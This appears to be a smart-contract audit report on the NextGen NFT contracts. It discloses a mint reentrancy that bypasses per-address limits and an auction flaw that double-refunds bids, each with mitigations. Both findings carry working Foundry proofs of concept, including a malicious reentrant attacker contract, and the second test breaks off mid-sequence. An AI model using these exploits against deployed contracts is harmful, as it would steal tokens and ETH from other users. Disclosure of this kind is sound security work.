NextGen - MrPotatoMagic's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/ERC721.sol#L407

Vulnerability details

Impact

Reentrancy callback through _safeMint() into mint() function in MinterContract.sol is not prevented. This allows an attacker to mint more tokens (using his malicious contract) on a collection than the max allowance set for users during public phase. The impact here is much more severe since it affects all collections currently (or in the future) in the public phase.

There is another impact to this issue. For example, a collection has 1000 tokens as total supply and each user is only allowed to mint 5 tokens. In this case, the attacker technically not only mints more tokens but also steals from other users' max allocations, which can impact them.

(Note: This reentrancy attack will not work on collections that use the Periodic Sale model (sales option 3) during the public phase since lastMintDate is updated to the next period and until that time a second token cannot be minted in the current period whether directly or indirectly through reentrancy)

Proof of Concept

Here is the whole process:

1. Below is the mint() function from the MinterContract.sol contract. We'll only be focusing on the code present from 221 to 238 since anything before 221 is mainly related to the allowlist phase and anything after 238 is related to the Periodic Sale model (sales option 3) on which this reentrancy attack cannot be executed.

File: MinterContract.sol
196:     function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable {
197:         require(setMintingCosts[_collectionID] == true, "Set Minting Costs");
198:         uint256 col = _collectionID;
199:         address mintingAddress;
200:         uint256 phase;
201:         string memory tokData = _tokenData;
202:         if (block.timestamp >= collectionPhases[col].allowlistStartTime && block.timestamp <= collectionPhases[col].allowlistEndTime) {
203:             phase = 1;
204:             bytes32 node;
205:             if (_delegator != 0x0000000000000000000000000000000000000000) {
206:                 bool isAllowedToMint;
207:                 isAllowedToMint = dmc.retrieveGlobalStatusOfDelegation(_delegator, 0x8888888888888888888888888888888888888888, msg.sender, 1) || dmc.retrieveGlobalStatusOfDelegation(_delegator, 0x8888888888888888888888888888888888888888, msg.sender, 2);
208:                 if (isAllowedToMint == false) {
209:                 isAllowedToMint = dmc.retrieveGlobalStatusOfDelegation(_delegator, collectionPhases[col].delAddress, msg.sender, 1) || dmc.retrieveGlobalStatusOfDelegation(_delegator, collectionPhases[col].delAddress, msg.sender, 2);    
210:                 }
211:                 require(isAllowedToMint == true, "No delegation");
212:                 node = keccak256(abi.encodePacked(_delegator, _maxAllowance, tokData));
213:                 require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, _delegator) + _numberOfTokens, "AL limit");
214:                 mintingAddress = _delegator;
215:             } else {
216:                 node = keccak256(abi.encodePacked(msg.sender, _maxAllowance, tokData));
217:                 require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, msg.sender) + _numberOfTokens, "AL limit");
218:                 mintingAddress = msg.sender;
219:             }
220:             require(MerkleProof.verifyCalldata(merkleProof, collectionPhases[col].merkleRoot, node), 'invalid proof');
221:         } else if (block.timestamp >= collectionPhases[col].publicStartTime && block.timestamp <= collectionPhases[col].publicEndTime) {
222:             phase = 2;
223:             require(_numberOfTokens <= gencore.viewMaxAllowance(col), "Change no of tokens");
224:             require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max");
225:             mintingAddress = msg.sender;
226:             tokData = '"public"';
227:         } else {
228:             revert("No minting");
229:         }
230:         uint256 collectionTokenMintIndex;
231:         collectionTokenMintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col) + _numberOfTokens - 1;
232:         require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(col), "No supply");
233:         require(msg.value >= (getPrice(col) * _numberOfTokens), "Wrong ETH");
234:         for(uint256 i = 0; i < _numberOfTokens; i++) {
235:             uint256 mintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col);
236:             gencore.mint(mintIndex, mintingAddress, _mintTo, tokData, _saltfun_o, col, phase);
237:         }
238:         collectionTotalAmount[col] = collectionTotalAmount[col] + msg.value;
239:         // control mechanism for sale option 3
240:         if (collectionPhases[col].salesOption == 3) {
241:             uint timeOfLastMint;
242:             if (lastMintDate[col] == 0) {
243:                 // for public sale set the allowlist the same time as publicsale
244:                 timeOfLastMint = collectionPhases[col].allowlistStartTime - collectionPhases[col].timePeriod;
245:             } else {
246:                 timeOfLastMint =  lastMintDate[col];
247:             }
248:             // uint calculates if period has passed in order to allow minting
249:             uint tDiff = (block.timestamp - timeOfLastMint) / collectionPhases[col].timePeriod;
250:             // users are able to mint after a day passes
251:             require(tDiff>=1 && _numberOfTokens == 1, "1 mint/period");
252:             lastMintDate[col] = collectionPhases[col].allowlistStartTime + (collectionPhases[col].timePeriod * (gencore.viewCirSupply(col) - 1));
253:         }
254:     }

2. Attacker calls mint() function in MinterContract.sol using his malicious contract address (i.e. containing callback to mint() in its onERC721Received() function) to mint a token (assuming max allowance is 1 token) during the public phase. Here is what happens in the function below:

• On Line 221-222, we enter the else if block since we're in public phase and set phase = 2
• On Line 223-224, the require check ensures that the tokens being minted by the msg.sender does not exceed his max allowance. This includes both tokens that are already minted during public phase previously and the current number of tokens being minted. Here the attacker is minting only 1 token (as per max allowance) so he passes the check since 0 + 1 <= 1, which is true
• On Line 225, minting address is set to the msg.sender as expected
• Line 232 ensures that the current mintIndex does not exceed the collection's total supply. This can be considered as true considering there are enough tokens left to mint.
• On Line 233, the require check ensures that the msg.value provided by the attacker is enough when compared to the price returned from getPrice() function. Let's consider this as true i.e. the attacker provides the necessary msg.value. (Note: The getPrice() function would either return price for token on a collection using either sales model 1 or 2 only)
• Line 236 calls the mint() function on the gencore contract to proceed the minting process

File: MinterContract.sol
221:         } else if (block.timestamp >= collectionPhases[col].publicStartTime && block.timestamp <= collectionPhases[col].publicEndTime) {
222:             phase = 2;
223:             require(_numberOfTokens <= gencore.viewMaxAllowance(col), "Change no of tokens");
224:             require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max");
225:             mintingAddress = msg.sender;
226:             tokData = '"public"';
227:         } else {
228:             revert("No minting");
229:         }
230:         uint256 collectionTokenMintIndex;
231:         collectionTokenMintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col) + _numberOfTokens - 1;
232:         require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(col), "No supply");
233:         require(msg.value >= (getPrice(col) * _numberOfTokens), "Wrong ETH");
234:         for(uint256 i = 0; i < _numberOfTokens; i++) {
235:             uint256 mintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col);
236:             gencore.mint(mintIndex, mintingAddress, _mintTo, tokData, _saltfun_o, col, phase);
237:         }
238:         collectionTotalAmount[col] = collectionTotalAmount[col] + msg.value;

3. Once the mint() function is called on the NextGenCore.sol contract, the following occurs:

• Line 193 - Collection's circulation supply is incremented by 1
• Line 194 - If check to ensure circulation supply does not exceed total supply of collection
• Line 195 - Internal call to _mintProcessing() function
• Line 199 - Note: This is not incremented until all reentrancy calls are executed since _mintProcessing() internally calls _safeMint() from where the reentrancy is performed. Once the reentrant calls are completed, this is incremented in each reentrant call's context.

File: NextGenCore.sol
191:     function mint(uint256 mintIndex, address _mintingAddress , address _mintTo, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 phase) external {
192:         require(msg.sender == minterContract, "Caller is not the Minter Contract");
193:         collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;
194:         if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {
195:             _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
196:             if (phase == 1) {
197:                 tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
198:             } else {
199:                 tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
200:             }
201:         }
202:     }

4. In _mintProcessing(), the following happens:

• Line 230 - tokenData for the token being minted is set
• Line 231 - token hash for the token being minted is calculated and set
• Line 232, tokenIdsToCollectionIds mapping is updated for the new token being minted
• Line 233, internal call to _safeMint() occurs.

File: NextGenCore.sol
229:     function _mintProcessing(uint256 _mintIndex, address _recipient, string memory _tokenData, uint256 _collectionID, uint256 _saltfun_o) internal {
230:         tokenData[_mintIndex] = _tokenData;
231:         collectionAdditionalData[_collectionID].randomizer.calculateTokenHash(_collectionID, _mintIndex, _saltfun_o);
232:         tokenIdsToCollectionIds[_mintIndex] = _collectionID;
233:         _safeMint(_recipient, _mintIndex);
234:     }

5. When _safeMint() is called, another internal _safeMint() is invoked, which further calls the ERC721 _mint() function to mint the token as well as calls the _checkOnERC721Received() hook as seen below:

File: ERC721.sol
237:     function _safeMint(address to, uint256 tokenId) internal virtual {
238:         _safeMint(to, tokenId, "");
239:     }
240: 
241:     /**
242:      * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
243:      * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
244:      */
245:     function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {
246:         _mint(to, tokenId);
247:         require(
248:             _checkOnERC721Received(address(0), to, tokenId, data),
249:             "ERC721: transfer to non ERC721Receiver implementer"
250:         );
251:     }

6. In the _checkOnERC721Received() hook, the following occurs:

• On Line 406, the if condition checks if the receiver (attacker's address) is a contract, which is true since attacker is using a malicious contract with onERC721Received() implemented in it. In this onERC721Received(), there exists the callback to the mint() function in the MinterContract.sol contract.
• On Line 407, onERC721Received() is invoked on the attacker's contract. Since the onERC721Received() function contains a callback to the mint() function in MinterContract.sol, we start from the beginning again. (Note: The malicious contract implements a counter which allows the reentrancy to continue until a certain condition is met such as if (counter < numberOfTokensAttackerWantsToMint) continue reentrancy, else end the call. This is necessary for the attacker since it ensures that he should not run out of gas or exceed the block gas limit)

File: ERC721.sol
400:     function _checkOnERC721Received(
401:         address from,
402:         address to,
403:         uint256 tokenId,
404:         bytes memory data
405:     ) private returns (bool) {
406:         if (to.isContract()) {
407:             try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {
408:                 return retval == IERC721Receiver.onERC721Received.selector;
409:             } catch (bytes memory reason) {
410:                 if (reason.length == 0) {
411:                     revert("ERC721: transfer to non ERC721Receiver implementer");
412:                 } else {
413:                     /// @solidity memory-safe-assembly
414:                     assembly {
415:                         revert(add(32, reason), mload(reason))
416:                     }
417:                 }
418:             }
419:         } else {
420:             return true;
421:         }
422:     }

7. Steps 2 to 6 continue until the specific condition in the attacker's malicious contract is met. There are certain points to highlight when the reentrancy callback is made to the mint() function (i.e. when steps 2 to 6 are repeated):

The mint() function allows to continue minting and exceed the max allowance due to the following reasons:

• On Line 223, the _numberOfTokens being requested is still 1 which is <= the max allowance of 1 token. Thus the attacker can pass this check.
• On Line 224, retrieveTokensMintedPublicPerAddress returns 0 though a token was previously minted. This is because in the mint() function of the gencore contract, when we made an internal call to _mintProcessing() which further made an internal call to _safeMint() to perform reentrancy, the tokenMintedPerAddress mapping was not incremented as mentioned above before in Point 3 (see here). Due to this, the attacker is able to pass the check on Line 224 here since 0 + 1 <= 1. which is true.
• On Line 233, the attacker still has to provide msg.value to mint the token through reentrancy. The main issue being pointed out here is that the attacker can mint more than his max allowance and steal from other user's allocations.

File: MinterContract.sol
223:             require(_numberOfTokens <= gencore.viewMaxAllowance(col), "Change no of tokens");
224:             require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max");

233:         require(msg.value >= (getPrice(col) * _numberOfTokens), "Wrong ETH");

8. From the above explanation, we can conclude that the attacker can mint more tokens than the max allowance set during the public phase and steal tokens from other user's allocations.

Coded POC

Here are some points to understand the POC:

• Line 25 to 45 is the setup
• attackerContract2 is the attacker's contract (attached below this POC), which is used to mint more tokens than max allowance
• Function testSetUpCollection() is called to setup the Azuki collection.
• Public phase start time = 1000s, Public phase end time = 700000s (time in foundry starts from 0)
• Run the test using forge test --match-test testAttackerCanExceedAllowance -vvvvv
• Function testAttackerCanExceedAllowance() sets up the Azuki collection on the first line, warps block.timestamp to 1000s (public start time)
• Function fundAttackerContractWith2ETH() provides the attacker contract with 2 ETH to mint the 2 tokens in order to exceed allowance.
• To start minting, the attacker's EOA (in this case it's just our test contract) calls the onERC721Received() function implemented in attacker's malicious contract.
• The attacker contract has a counter system implemented, which stops execution once 2 tokens are minted (i.e. exceeding max allowance of 1).
• Line 61 asserts that the attacker contract's balance is now 2 tokens, which further proves that max allowance of 1 has been exceeded.
• I've added helpful comments and self-explanatory function names to make it easy to understand the POC.
• Make sure to paste the attacker contract provided below into the hardhat/test folder in order to ensure the path inherited by the POC below works properly.

File: TestContract9.t.sol
01: // SPDX-License-Identifier: MIT
02: 
03: pragma solidity ^0.8.19;
04: 
05: import {Test, console} from "forge-std/Test.sol";
06: 
07: import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol";
08: import {NextGenCore} from "../smart-contracts/NextGenCore.sol";
09: import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol";
10: import {randomPool} from "../smart-contracts/XRandoms.sol";
11: import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol";
12: import {AttackerContract2} from "./AttackerContract2.t.sol";
13: import {auctionDemo} from "../smart-contracts/AuctionDemo.sol";
14: 
15: contract TestContract9 is Test {
16: 
17:     NextGenMinterContract minter;
18:     NextGenCore gencore;
19:     NextGenAdmins adminsContract;
20:     randomPool xrandoms;
21:     NextGenRandomizerNXT randomizer;
22:     auctionDemo auctionContract;
23:     AttackerContract2 attackerContract2;
24: 
25:     function setUp() public {
26:         //Deployment process - Followed from docs
27:         adminsContract = new NextGenAdmins();
28:         gencore = new NextGenCore("", "", address(adminsContract));
29:         minter = new NextGenMinterContract(address(gencore),address(0) , address(adminsContract));
30:         xrandoms = new randomPool();
31:         randomizer = new NextGenRandomizerNXT(address(xrandoms), address(this), address(gencore));
32:         auctionContract = new auctionDemo(address(minter), address(gencore), address(adminsContract));
33:         attackerContract2 = new AttackerContract2();
34:     }
35: 
36:     function testSetUpCollection() public {
37:         string[] memory emptyScript;
38:         gencore.createCollection("Azuki", "6529", "Empty", "Empty", "Empty", "Empty", "Empty", emptyScript);
39:         gencore.setCollectionData(1, address(0), 1, 10000, 0);
40:         minter.setCollectionCosts(1, 1000000000000000000, 0, 0, 0, 1,
41:         address(0));
42:         minter.setCollectionPhases(1, 1000, 0, 1000, 700000, 0);//Set allowliststarttime to public sale start time to pass check
43:         gencore.addMinterContract(address(minter));
44:         gencore.addRandomizer(1, address(randomizer));
45:     }
46: 
47:     function testFundAttackerContractWith2ETH() public{
48:         vm.deal(address(attackerContract2), 2000000000000000000);
49:         (bool success,) = address(attackerContract2).call{value: 2000000000000000000}("");
50:     }
51: 
52:     function testAttackerCanExceedAllowance() public {
53:         testSetUpCollection();
54:         testFundAttackerContractWith2ETH();
55:         vm.warp(1000); //Start public phase
56: 
57:         bytes memory emptyData; //Start minting by calling onERC721Received directly
58:         attackerContract2.onERC721Received(address(minter), address(0), 0, emptyData);
59: 
60:         uint256 attackerContractNFTBalance = gencore.balanceOf(address(attackerContract2));
61:         assertEq(attackerContractNFTBalance, 2); //This proves that attacker can exceed max allowance of 1
62:     }
63: }

Attacker's Contract

File: AttackerContract2.t.sol
01: // SPDX-License-Identifier: MIT
02: 
03: pragma solidity ^0.8.19;
04: 
05: import {INextGenCore} from "../smart-contracts/INextGenCore.sol";
06: import {IERC721Receiver} from "../smart-contracts/IERC721Receiver.sol";
07: 
08: 
09: contract AttackerContract2 is IERC721Receiver {
10: 
11:     uint256 counter;
12: 
13:     INextGenCore gencore;
14: 
15:     function onERC721Received(address minter, address gencore, uint256 tokenId, bytes memory data) public override returns(bytes4) {
16:         ++counter;
17: 
18:         if(counter < 3) {
19:             bytes32[] memory emptyArray;
20:             bytes memory selector = abi.encodeWithSignature("mint(uint256,uint256,uint256,string,address,bytes32[],address,uint256)", 1, 1, 0, "", address(this), emptyArray, address(0), 0);
21:         (bool success,) = address(minter).call{value: 1000000000000000000}(selector);
22:         }
23: 
24:         return IERC721Receiver.onERC721Received.selector;
25: 
26:     }
27: 
28:     //Some withdrawal mechanism implemented by attacker
29: 
30:     receive() external payable {}
31: }

Tools Used

Manual Review

Recommended Mitigation Steps

There are 2 solutions to this:

1. Add the non-reentrant modifier (check OpenZeppelin's implementation) to the mint() function in MinterContract.sol

File: MinterContract.sol
196:     function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public nonReentrant payable {

2. Use the CEI pattern in the mint() function in NextGenCore.sol

Solution (moved the _mintProcessing() call after tokensMintedPerAddress is incremented):

File: NextGenCore.sol
191:     function mint(uint256 mintIndex, address _mintingAddress , address _mintTo, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 phase) external {
192:         require(msg.sender == minterContract, "Caller is not the Minter Contract");
193:         collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;
194:         if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {
195:   
196:             if (phase == 1) {
197:                 tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
198:             } else {
199:                 tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
200:             }
201:             _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
202:         }
203:     }

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L57 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L124

Vulnerability details

Impact

Below mentioned are the three impacts occurring at the same time in one attack transaction:

1. An Attacker can win/claim the auctioned token without providing any ETH
2. An Attacker can double the amount of ETH from his previous active bids
3. An Attacker can steal ETH deposited by bidders from auctions running in parallel for other tokenIds (Note: Auctions running in parallel is highly likely to occur (which means more ETH sitting in this AuctionDemo.sol contract) since the NextGen contracts have multiple collections and each collection has multiple tokenIds that can be auctioned)

The origination of this issue can be seen from two perspectives (fixing either of them solves the issue):

1. Issue originates since both claimAuction() and cancelBid() can be called right at auctionEndTime.
2. Issue originates since auctionDataInfo is not updated to false for winner of the auction and for bids of other users being refunded in the claimAuction() function, which allows attacker/user to pass the check here in cancelBid() function when called right at auctionEndTime.

Proof of Concept

Here is the whole process:

1. Attacker places highest bid either before or right at auctionEndTime by calling the participateToAuction() function

File: AuctionDemo.sol
57:     function participateToAuction(uint256 _tokenid) public payable {
58:         require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true);
59:         auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true);
60:         auctionInfoData[_tokenid].push(newBid);
61:     }

2. Attacker calls claimAuction() right at auctionEndTime to claim the auctioned token and receive any ETH refunds from his previous active bids.

• On Line 105, we pass since attacker calls right at auctionEndTime
• Line 112 transfers the auctioned token to the attacker
• Line 113, transfers attacker's bid amount to ownerOf() AuctionDemo.sol contract
• On Line 116, the attacker and other users are refunded their ETH back from previous active bids that were not cancelled.

File: AuctionDemo.sol
104:     function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
105:         require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
106:         auctionClaim[_tokenid] = true;
107:         uint256 highestBid = returnHighestBid(_tokenid);
108:         address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
109:         address highestBidder = returnHighestBidder(_tokenid);
110:         for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
111:             if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
112:                 IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
113:                 (bool success, ) = payable(owner()).call{value: highestBid}("");
114:                 emit ClaimAuction(owner(), _tokenid, success, highestBid);
115:             } else if (auctionInfoData[_tokenid][i].status == true) {
116:                 (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
117:                 emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
118:             } else {}
119:         }
120:     }

3. Attacker calls cancelAllBids() function right at auctionEndTime to cancel his all his bids. The following happens here:

• On Line 135, attacker passes the check since he calls right at auctionEndTime (this is where the first perspective mentioned in the beginning comes into play)
• Line 137, the check ensures auctionInfoData the attacker's bid is active (this is where the second perspective of auctionInfoData not being set to false in claimAndAuction() comes into play, thus allowing attacker to bypass this check)
• On Line 139, attacker is refunded his winning bid amount as well as any previous active bids (again here though he was refunded in claimAndAuction() function already, thus doubling the amount of ETH received).

File: AuctionDemo.sol
134:     function cancelAllBids(uint256 _tokenid) public {
135:         require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
136:         for (uint256 i=0; i<auctionInfoData[_tokenid].length; i++) {
137:             if (auctionInfoData[_tokenid][i].bidder == msg.sender && auctionInfoData[_tokenid][i].status == true) {
138:                 auctionInfoData[_tokenid][i].status = false;
139:                 (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
140:                 emit CancelBid(msg.sender, _tokenid, i, success, auctionInfoData[_tokenid][i].bid);
141:             } else {}
142:         }
143:     }

4. On Line 139, the attacker is refunded only if there are multiple (atleast one technically) auctions running in parallel, which as I mentioned before is highly likely to occur since NextGen contracts have multiple collections and each collection has multiple tokenIds that can be auctioned. These auctions running in parallel have their own bidders that are continuously participating and thus depositing more ETH in AuctionDemo.sol. This provides the attacker with more than enough ETH to receive back his winning bid amount and double his previous bids. The auctions running in parallel can be seen as a funding for the attacker but lost/stolen ETH for the bidders of the other auctions.

Coded POC

Here are some points to understand the POC:

• Lines 31 to 51 is the setup
• Functions testSetUpCollection1() and testSetUpCollection2() setup two collections "Azuki" and "Punks"
• For sake of simplicity, both collections are in public phase at same time.
• Public phase start time = 1000s, Public phase end time = 700000s (time in foundry starts from 0)
• Run the test using forge test --match-test testAttackerCanWinAuctionWithoutProvidingETHAndDoubleHisPreviousBids -vvvvv
• Function testAttackerCanWinAuctionWithoutProvidingETHAndDoubleHisPreviousBids() sets up both collections first, warps to 1000s (public start time)
• The functionAdmin starts auctions for both "Azuki" and "Punks" with auction ends times being 10000s and 20000s respectively.
• The teamsTrustedAddress holds the NFT till the time the winner of the auction does not claim it using claimAuction.
• For this, the teamsTrustedAddress calls setApprovalForAll to give the AuctionDemo.sol contract approval to transfer the NFT to the winner when he calls claimAuction().
• Attacker participates in the Azuki auction by placing a bid of 0.9 ETH for the tokenId 10000000000.
• Alice, Bob and Charlie place bids of 1ETH, 2ETH and 3ETH respectively in the Azuki auction.
• They place similar bids in the Punks auction
• Attacker places a bid of 5 ETH in the Azuki auction
• We warp 10000s right to the auctionEndTime of the Azuki auction
• Attacker calls claimAuction(), which gives him the NFT and refunds him 0.9 ETH from his previous active bid. Over here Alice, Bob and Charlie are refunded their 1 ETH, 2 ETH and 3 ETH as well.
• Attacker calls cancelAllBids() right at auctionEndTime immediately after the previous claimAuction() call. This not only refunds the attacker the 5 ETH of the highest bid but also refunds the 0.9 ETH once again.
• Lines 118-119 assert that the claimAuction() and cancelAllBids() call right at auctionEndTime succeeded.
• Lines 124-125 further assert that not only did the attacker win the auctioned token for free by refunding him his 5 ETH but also doubled his previous bid to 1.8 ETH by refunding twice (once in claimAuction() and the other in cancelAllBids() function).
• Due to this, there will not be enough ETH left for refunding in the Punks auction (which ends at 20000s), thereby affecting Alice, Bob and Charlie since their ETH was stolen or used as exit liquidity by the attacker.
• Make sure to add the POC contract provided below to the hardhat/test folder before running the forge test --match-test testAttackerCanWinAuctionWithoutProvidingETHAndDoubleHisPreviousBids -vvvvv command.
• I've provided helpful comments to assist while reading the POC and tried to make the function names as self-explanatory as possible as well.

File: TestContract7.t.sol
001: // SPDX-License-Identifier: MIT
002: 
003: pragma solidity ^0.8.19;
004: 
005: import {Test, console} from "forge-std/Test.sol";
006: 
007: import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol";
008: import {NextGenCore} from "../smart-contracts/NextGenCore.sol";
009: import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol";
010: import {randomPool} from "../smart-contracts/XRandoms.sol";
011: import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol";
012: import {auctionDemo} from "../smart-contracts/AuctionDemo.sol";
013: 
014: contract TestContract7 is Test {
015: 
016:     NextGenMinterContract minter;
017:     NextGenCore gencore;
018:     NextGenAdmins adminsContract;
019:     randomPool xrandoms;
020:     NextGenRandomizerNXT randomizer;
021:     auctionDemo auctionContract;
022: 
023:     //List of Bidders
024:     address alice = makeAddr("Bidder1");
025:     address bob = makeAddr("Bidder2");  
026:     address charlie = makeAddr("Bidder3"); 
027: 
028:     address teamsTrustedAddress = makeAddr("TrustedAddress");
029:     address attacker = makeAddr("AttackerEOA");
030: 
031:     function setUp() public {
032:         //Deployment process - Followed from docs
033:         adminsContract = new NextGenAdmins();
034:         gencore = new NextGenCore("", "", address(adminsContract));
035:         minter = new NextGenMinterContract(address(gencore),address(0) , address(adminsContract));
036:         xrandoms = new randomPool();
037:         randomizer = new NextGenRandomizerNXT(address(xrandoms), address(this), address(gencore));
038:         auctionContract = new auctionDemo(address(minter), address(gencore), address(adminsContract));
039:     }
040: 
041:     function testSetUpCollection1() public {
042:         string[] memory emptyScript;
043:         gencore.createCollection("Azuki", "6529", "Empty", "Empty", "Empty", "Empty", "Empty", emptyScript);
044:         gencore.setCollectionData(1, address(0), 1, 10000, 0);
045:         minter.setCollectionCosts(1, 4000000000000000000, 0, 0, 600, 1,
046:         address(0));
047:         minter.setCollectionPhases(1, 1000, 0, 1000, 700000, 0);//Set allowliststarttime to public sale start time to pass check
048:         gencore.addMinterContract(address(minter));
049:         gencore.addRandomizer(1, address(randomizer));
050:     }
051: 
052:     function testSetUpCollection2() public {
053:         string[] memory emptyScript;
054:         gencore.createCollection("Punks", "6529", "Empty", "Empty", "Empty", "Empty", "Empty", emptyScript);
055:         gencore.setCollectionData(2, address(0), 10, 10000, 0);
056:         minter.setCollectionCosts(2, 4000000000000000000, 0, 0, 600, 1,
057:         address(0));
058:         minter.setCollectionPhases(2, 1000, 0, 1000, 700000, 0);//Set allowliststarttime to public sale start time to pass check
059:         gencore.addMinterContract(address(minter));
060:         gencore.addRandomizer(2, address(randomizer));
061:     }
062: 
063:     function testUsersParticipateInAuction(uint256 tokenId) public {
064:         vm.deal(alice, 1000000000000000000);//Give alice 1 ETH for bid
065:         vm.deal(bob, 2000000000000000000);//Give bob 2 ETH for bid
066:         vm.deal(charlie, 3000000000000000000);//Give charlie 3 ETH for bid
067: 
068:         bytes memory selector = abi.encodeWithSignature("participateToAuction(uint256)", tokenId);
069:         
070:         vm.prank(alice);
071:         (bool success1,) = address(auctionContract).call{value: 1000000000000000000}(selector);
072: 
073:         vm.prank(bob);
074:         (bool success2,) = address(auctionContract).call{value: 2000000000000000000}(selector);
075: 
076:         vm.prank(charlie);
077:         (bool success3,) = address(auctionContract).call{value: 3000000000000000000}(selector);
078:     }
079: 
080:     function testAttackerCanWinAuctionWithoutProvidingETHAndDoubleHisPreviousBids() public {
081:         testSetUpCollection1();
082:         testSetUpCollection2();
083:         vm.warp(1000); //Start public phase on Azuki collection
084:         //Start both Azuki and Punks Auction (running in parallel)
085:         minter.mintAndAuction(teamsTrustedAddress, "", 0, 1, 10000); //(Auction ends at 10000s)
086:         minter.mintAndAuction(teamsTrustedAddress, "", 0, 2, 20000); //(Auction ends at 20000s)
087: 
088:         //Give approval to this contract to transfer the auctioned token to the winner when winner calls claimAuction()
089:         vm.prank(teamsTrustedAddress);
090:         gencore.setApprovalForAll(address(auctionContract), true);
091:         
092:         //Attacker participates in Azuki auction
093:         vm.deal(attacker, 900000000000000000); //Attacker places 0.9 ETH bid
094:         vm.prank(attacker); 
095:         bytes memory selector = abi.encodeWithSignature("participateToAuction(uint256)", 10000000000);
096:         (bool success1,) = address(auctionContract).call{value: 900000000000000000}(selector);
097: 
098: 
099:         testUsersParticipateInAuction(10000000000); //Alice, Bob, Charlie place bids of 1ETH, 2ETH and 3ETH respectively in Azuki auction to challenge each other
100:         testUsersParticipateInAuction(20000000000); //They also place similar bids in the Punks auction running in parallel
101: 
102:         //Attacker decides to participate in Azuki auction again
103:         vm.deal(attacker, 5000000000000000000); //Attacker places 5 ETH bid
104:         vm.prank(attacker); //Attacker participates in Azuki auction
105:         (bool success2,) = address(auctionContract).call{value: 5000000000000000000}(selector);
106: 
107:         vm.warp(10000); //Warping to right at the auctionEndTime of Azuki auction
108: 
109:         bytes memory selector2 = abi.encodeWithSignature("claimAuction(uint256)", 10000000000);
110:         vm.prank(attacker); //Attacker claimsAuction
111:         (bool success3,) = address(auctionContract).call(selector2);
112: 
113:         //At the same time (i.e. right at auctionEndTime), the attacker also calls cancelAllBids()
